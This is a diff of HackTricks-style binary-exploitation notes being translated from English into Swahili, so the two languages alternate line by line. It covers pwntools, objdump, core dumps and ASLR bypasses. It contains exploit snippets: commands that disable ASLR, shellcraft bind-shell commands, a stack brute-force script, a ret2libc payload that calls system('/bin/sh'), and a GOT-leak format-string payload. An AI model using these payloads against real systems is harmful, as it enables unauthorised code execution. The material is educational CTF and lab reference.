Kwa mfano, katika mfano ulio hapa chini, mtiririko wa buffer katika `local_bc` unaonyesha kwamba unahitaji offset ya `0xbc`. Zaidi ya hayo, ikiwa `local_10` ni keki ya canary inaonyesha kwamba ili kuandika tena kutoka `local_bc` kuna offset ya `0xac`.\
&#xNAN;_&#x52;kumbuka kwamba 0x08 ya kwanza ambapo RIP imehifadhiwa inahusiana na RBP._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
Pata kila opcode inayotekelezwa katika programu.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kamilisha bila ulinzi\
&#xNAN;**-o** --> Matokeo\
&#xNAN;**-g** --> Hifadhi msimbo (GDB itaweza kuiona)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Kuondoa ASLR katika linux
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**Ili kukamilisha shellcode:**\
**nasm -f elf assembly.asm** --> rudisha ".o"\
**ld assembly.o -o shellcodeout** --> Inayoweza kutekelezwa
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
**-d** --> **Disassemble executable** sehemu (ona opcodes za shellcode iliyokamilishwa, pata ROP Gadgets, pata anwani ya kazi...)\
&#xNAN;**-Mintel** --> **Intel** sintaksia\
&#xNAN;**-t** --> **Mizani** jedwali\
&#xNAN;**-D** --> **Disassemble all** (anwani ya variable ya static)\
&#xNAN;**-s -j .dtors** --> sehemu ya dtors\
&#xNAN;**-s -j .got** --> sehemu ya got\
-D -s -j .plt --> **plt** sehemu **iliyotafsiriwa**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**ojdump -t --dynamic-relo ./exec | grep puts** --> Anwani ya "puts" kubadilisha katika GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Anwani au variable ya static (hizi zimehifadhiwa katika sehemu ya DATA).
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Kimbia `ulimit -c unlimited` kabla ya kuanza programu yangu
2. Kimbia `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
## Zaidi
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd executable | grep libc.so.6** --> Anwani (ikiwa ASLR, basi hii hubadilika kila wakati)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Mzunguko kuona ikiwa anwani inabadilika sana\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset ya "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset ya "/bin/sh"
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace executable** --> Kazi zinazoitwa na executable\
**rabin2 -i ejecutable -->** Anwani ya kazi zote
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### Kurekebisha katika linux ya mbali
Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kurekebisha binary ndani ya linux. Ili kufanya hivyo, hamasisha binary `linux_server` au `linux_server64` ndani ya seva ya linux na uendeshe ndani ya folda inayoshikilia binary hiyo:
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
Kisha, sanidi debugger: Debugger (linux remote) --> Chaguzi za Proccess...:
![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
Pata **opcodes** kutoka kwa mstari au faili.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Inaweza kuchagua:**
**Can select:**
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
- aina ya pato (raw, hex, string, elf)
- muktadha wa faili la pato (16, 32, 64, linux, windows...)
- epuka bytes (mistari mipya, null, orodha)
- chagua encoder debug shellcode ukitumia gdb endesha pato
## **Pwn checksec**
Checksec script
Script ya checksec
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
Pata muundo
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Inaweza kuchaguliwa:**
**Can select:**
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
- Alfabeti inayotumika (herufi ndogo kwa chaguo-msingi)
- Urefu wa muundo wa kipekee (chaguo-msingi 4)
- muktadha (16,32,64,linux,windows...)
- Chukua ofseti (-l)
## Pwn debug
Attach GDB to a process
Unganisha GDB na mchakato
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Inaweza kuchaguliwa:**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- Kwa executable, kwa jina au kwa muktadha wa pid (16,32,64,linux,windows...)
- gdbscript ya kutekeleza
- sysrootpath
## Pwn disablenx
Disable nx of a binary
Zima nx ya binary
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
```
pwn disasm ffe4
```
**Inaweza kuchaguliwa:**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- muktadha (16,32,64,linux,windows...)
- anwani ya msingi
- rangi (default)/hakuna rangi
## Pwn elfdiff
Print differences between 2 files
Chapisha tofauti kati ya faili 2
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
Pata uwakilishi wa hexadecimal
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
Pata hexdump
```
pwn phd <file>
```
**Inaweza kuchaguliwa:**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- Idadi ya bytes za kuonyesha
- Idadi ya bytes kwa kila mstari wa kuangazia byte
- Kusaidia bytes mwanzoni
## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
Pata shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Inaweza kuchaguliwa:**
**Can select:**
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
- shellcode na hoja za shellcode
- Faili ya nje
- muundo wa pato
- debug (unganishisha dbg na shellcode)
- kabla (trap ya debug kabla ya msimbo)
- baada
- epuka kutumia opcodes (default: si null na mstari mpya)
- Endesha shellcode
- Rangi/hana rangi
- orodhesha syscalls
- orodhesha shellcodes zinazowezekana
- Tengeneza ELF kama maktaba ya pamoja
## Pwn template
Get a python template
Pata kiolezo cha python
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**Inaweza kuchagua:** mwenyeji, bandari, mtumiaji, pass, njia na kimya
## Pwn unhex
From hex to string
Kutoka hex hadi string
```
pwn unhex 686f6c61
```
## Pwn update
To update pwntools
Ili kusasisha pwntools
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# Ulinzi na Njia za Kupita za Uhamasishaji wa Kawaida
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## Wezesha Faili za Core
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
**Faili za Core** ni aina ya faili inayozalishwa na mfumo wa uendeshaji wakati mchakato unaporomoka. Faili hizi zinakamata picha ya kumbukumbu ya mchakato ulioanguka wakati wa kumalizika kwake, ikiwa ni pamoja na kumbukumbu ya mchakato, register, na hali ya kaunta ya programu, pamoja na maelezo mengine. Picha hii inaweza kuwa na thamani kubwa kwa ajili ya kutatua matatizo na kuelewa kwa nini ajali ilitokea.
### **Enabling Core Dump Generation**
### **Kuwezesha Uzalishaji wa Core Dump**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
Kwa kawaida, mifumo mingi inapunguza ukubwa wa faili za core hadi 0 (yaani, hazizalishi faili za core) ili kuokoa nafasi ya diski. Ili kuwezesha uzalishaji wa faili za core, unaweza kutumia amri ya **`ulimit`** (katika bash au shell zinazofanana) au kuunda mipangilio ya mfumo mzima.
- **Kutumia ulimit**: Amri `ulimit -c unlimited` inaruhusu kikao cha shell cha sasa kuunda faili za core zenye ukubwa usio na kikomo. Hii ni muhimu kwa vikao vya kutatua matatizo lakini si ya kudumu wakati wa kuanzisha upya au vikao vipya.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **Mipangilio Endelevu**: Kwa suluhisho la kudumu zaidi, unaweza kuhariri faili ya `/etc/security/limits.conf` ili kujumuisha mstari kama `* soft core unlimited`, ambayo inaruhusu watumiaji wote kuzalisha faili za core zisizo na kikomo bila ya lazima kuweka ulimit kwa mikutano yao.
```markdown
- soft core unlimited
```
### **Kuchambua Faili za Core kwa GDB**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
Ili kuchambua faili ya core, unaweza kutumia zana za urekebishaji kama GDB (GNU Debugger). Ikiwa unayo executable ambayo ilitoa core dump na faili ya core inaitwa `core_file`, unaweza kuanza uchambuzi kwa:
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
Amri hii inaloadi executable na faili ya core ndani ya GDB, ikikuruhusu kuchunguza hali ya programu wakati wa ajali. Unaweza kutumia amri za GDB kuchunguza stack, kuangalia mabadiliko, na kuelewa sababu ya ajali.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,105 +4,90 @@
## Basic Information
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**Address Space Layout Randomization (ASLR)** ni mbinu ya usalama inayotumika katika mifumo ya uendeshaji ili **kubadilisha anwani za kumbukumbu** zinazotumiwa na michakato ya mfumo na programu. Kwa kufanya hivyo, inafanya kuwa vigumu sana kwa mshambuliaji kutabiri eneo la michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za mashambulizi, hasa buffer overflows.
### **Checking ASLR Status**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Ili **kuangalia** hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka kwenye faili ya **`/proc/sys/kernel/randomize_va_space`**. Thamani iliyohifadhiwa katika faili hii inaamua aina ya ASLR inayotumika:
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0**: Hakuna kubadilisha. Kila kitu ni cha kudumu.
- **1**: Kubadilisha kwa njia ya kihafidhina. Maktaba zinazoshirikiwa, stack, mmap(), ukurasa wa VDSO zinabadilishwa.
- **2**: Kubadilisha kwa njia kamili. Mbali na vipengele vinavyobadilishwa kwa njia ya kihafidhina, kumbukumbu inayosimamiwa kupitia `brk()` inabadilishwa.
Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Kuzima ASLR**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
Ili **kuzima** ASLR, unapaswa kuweka thamani ya `/proc/sys/kernel/randomize_va_space` kuwa **0**. Kuzima ASLR kwa ujumla hakupendekezwi nje ya hali za majaribio au urekebishaji. Hapa kuna jinsi unavyoweza kuzikatiza:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
Unaweza pia kuzima ASLR kwa utekelezaji kwa:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Kuwezesha ASLR**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
Ili **kuezesha** ASLR, unaweza kuandika thamani ya **2** kwenye faili ya `/proc/sys/kernel/randomize_va_space`. Hii kwa kawaida inahitaji ruhusa za mzizi. Kuwezesha randomization kamili kunaweza kufanywa kwa amri ifuatayo:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Uendelevu Wakati wa Kuanzisha Upya**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
Mabadiliko yaliyofanywa na amri za `echo` ni ya muda na yatarejelewa wakati wa kuanzisha upya. Ili kufanya mabadiliko kuwa ya kudumu, unahitaji kuhariri faili ya `/etc/sysctl.conf` na kuongeza au kubadilisha mstari ufuatao:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
Baada ya kuhariri `/etc/sysctl.conf`, tumia mabadiliko kwa:
```bash
sudo sysctl -p
```
Hii itahakikisha kwamba mipangilio yako ya ASLR inabaki wakati wa kuanzisha upya.
This will ensure that your ASLR settings remain across reboots.
## **Bypasses**
## **Mikakati ya Kuepuka**
### 32bit brute-forcing
PaX divides the process address space into **3 groups**:
PaX inagawanya nafasi ya anwani ya mchakato katika **makundi 3**:
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
- **Msimbo na data** (iliyowekwa na isiyowekwa): `.text`, `.data`, na `.bss` —> **16 bits** za entropy katika mabadiliko ya `delta_exec`. Mabadiliko haya yanaanzishwa kwa bahati nasibu na kila mchakato na kuongezwa kwa anwani za awali.
- **Kumbukumbu** iliyotolewa na `mmap()` na **maktaba zinazoshirikiwa** —> **16 bits**, inayoitwa `delta_mmap`.
- **Stack** —> **24 bits**, inayoitwa `delta_stack`. Hata hivyo, inatumia kwa ufanisi **11 bits** (kutoka byte ya 10 hadi ya 20 ikiwa ni pamoja), imepangwa kwa **16 bytes** —> Hii inasababisha **524,288 anwani halisi za stack zinazowezekana**.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
Data ya awali ni kwa mifumo ya 32-bit na entropy ya mwisho iliyopunguzwa inafanya iwezekane kuepuka ASLR kwa kujaribu kutekeleza mara kwa mara hadi exploit ikamilike kwa mafanikio.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### Mawazo ya Brute-force:
- Ikiwa una overflow kubwa ya kutosha kuhost **sled kubwa ya NOP kabla ya shellcode**, unaweza tu kujaribu anwani katika stack hadi mtiririko **ujumpie sehemu fulani ya sled ya NOP**.
- Chaguo lingine kwa hili ikiwa overflow si kubwa sana na exploit inaweza kuendeshwa kwa ndani ni kuweza **kuongeza sled ya NOP na shellcode katika variable ya mazingira**.
- Ikiwa exploit ni ya ndani, unaweza kujaribu brute-force anwani ya msingi ya libc (inayofaa kwa mifumo ya 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Ikiwa unashambulia seva ya mbali, unaweza kujaribu **kuvunjavunja anwani ya kazi ya `libc` `usleep`**, ukipitia kama hoja 10 (kwa mfano). Ikiwa katika wakati fulani **seva inachukua sekunde 10 zaidi kujibu**, umepata anwani ya kazi hii.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> Katika mifumo ya 64bit, entropy ni kubwa zaidi na hii haipaswi kuwa inawezekana.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### Kuvunjavunja stack ya 64 bits
Inawezekana kuchukua sehemu kubwa ya stack na mabadiliko ya mazingira na kisha kujaribu kutumia binary mara mia/elfu za ndani ili kuifanyia shambulio.\
Msimbo ufuatao unaonyesha jinsi inavyowezekana **kuchagua tu anwani kwenye stack** na kila **mara chache mia za utekelezaji** anwani hiyo itakuwa na **amri ya NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### Taarifa za Mitaa (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
Faili **`/proc/[pid]/stat`** la mchakato daima linaweza kusomwa na kila mtu na lina **maelezo ya kuvutia** kama vile:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode**: Anwani juu na chini na **TEXT** ya binary
- **startstack**: Anwani ya mwanzo wa **stack**
- **start_data** & **end_data**: Anwani juu na chini ambapo **BSS** iko
- **kstkesp** & **kstkeip**: Anwani za sasa za **ESP** na **EIP**
- **arg_start** & **arg_end**: Anwani juu na chini ambapo **cli arguments** ziko.
- **env_start** &**env_end**: Anwani juu na chini ambapo **env variables** ziko.
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
Hivyo, ikiwa mshambuliaji yuko kwenye kompyuta moja na binary inayoshambuliwa na binary hii haitarajii overflow kutoka kwa hoja za raw, bali kutoka kwa **input tofauti ambayo inaweza kuundwa baada ya kusoma faili hii**. Inawezekana kwa mshambuliaji **kupata anwani kadhaa kutoka kwa faili hii na kujenga offsets kutoka kwao kwa ajili ya exploit**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> Kwa maelezo zaidi kuhusu faili hii angalia [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) ukitafuta `/proc/pid/stat`
### Having a leak
### Kuwa na leak
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **Changamoto ni kutoa leak**
Ikiwa umepatiwa leak (changamoto rahisi za CTF), unaweza kuhesabu offsets kutoka kwake (ukidhania kwa mfano unajua toleo halisi la libc linalotumika kwenye mfumo unaoshambulia). Mfano huu wa exploit umetolewa kutoka kwa [**mfano kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (angalia ukurasa huo kwa maelezo zaidi):
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
Kwa kutumia overflow ya buffer, itakuwa inawezekana kutumia **ret2plt** kuhamasisha anwani ya kazi kutoka libc. Angalia:
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Kama ilivyo katika ret2plt, ikiwa una kusoma kwa njia isiyo ya kawaida kupitia udhaifu wa format strings, inawezekana kuhamasisha anwani ya **libc function** kutoka GOT. Mfano ufuatao [**ni kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
Unaweza kupata maelezo zaidi kuhusu Format Strings arbitrary read katika:
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
Jaribu kupita ASLR kwa kutumia anwani ndani ya stack:
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
Mfumo wa **`vsyscall`** unatumika kuboresha utendaji kwa kuruhusu baadhi ya wito wa mfumo kutekelezwa katika nafasi ya mtumiaji, ingawa kimsingi ni sehemu ya kernel. Faida muhimu ya **vsyscalls** iko katika **anwani zao za kudumu**, ambazo haziko chini ya **ASLR** (Address Space Layout Randomization). Hali hii ya kudumu inamaanisha kwamba washambuliaji hawahitaji udhaifu wa kuvuja taarifa ili kubaini anwani zao na kuzitumia katika shambulio.\
Hata hivyo, hakuna vifaa vya kuvutia sana vitakavyopatikana hapa (ingawa kwa mfano inawezekana kupata sawa na `ret;`)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(Mfano na msimbo ufuatao ni [**kutoka kwa andiko hili**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Kwa mfano, mshambuliaji anaweza kutumia anwani `0xffffffffff600800` ndani ya shambulio. Wakati wa kujaribu kuruka moja kwa moja kwenye amri ya `ret` inaweza kusababisha kutokuwa na utulivu au kuanguka baada ya kutekeleza vifaa kadhaa, kuruka kwenye mwanzo wa `syscall` inayotolewa na sehemu ya **vsyscall** inaweza kuwa na mafanikio. Kwa kuweka kwa makini **ROP** gadget inayoweza kuongoza utekelezaji kwenye anwani hii ya **vsyscall**, mshambuliaji anaweza kufikia utekelezaji wa msimbo bila kuhitaji kupita **ASLR** kwa sehemu hii ya shambulio.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
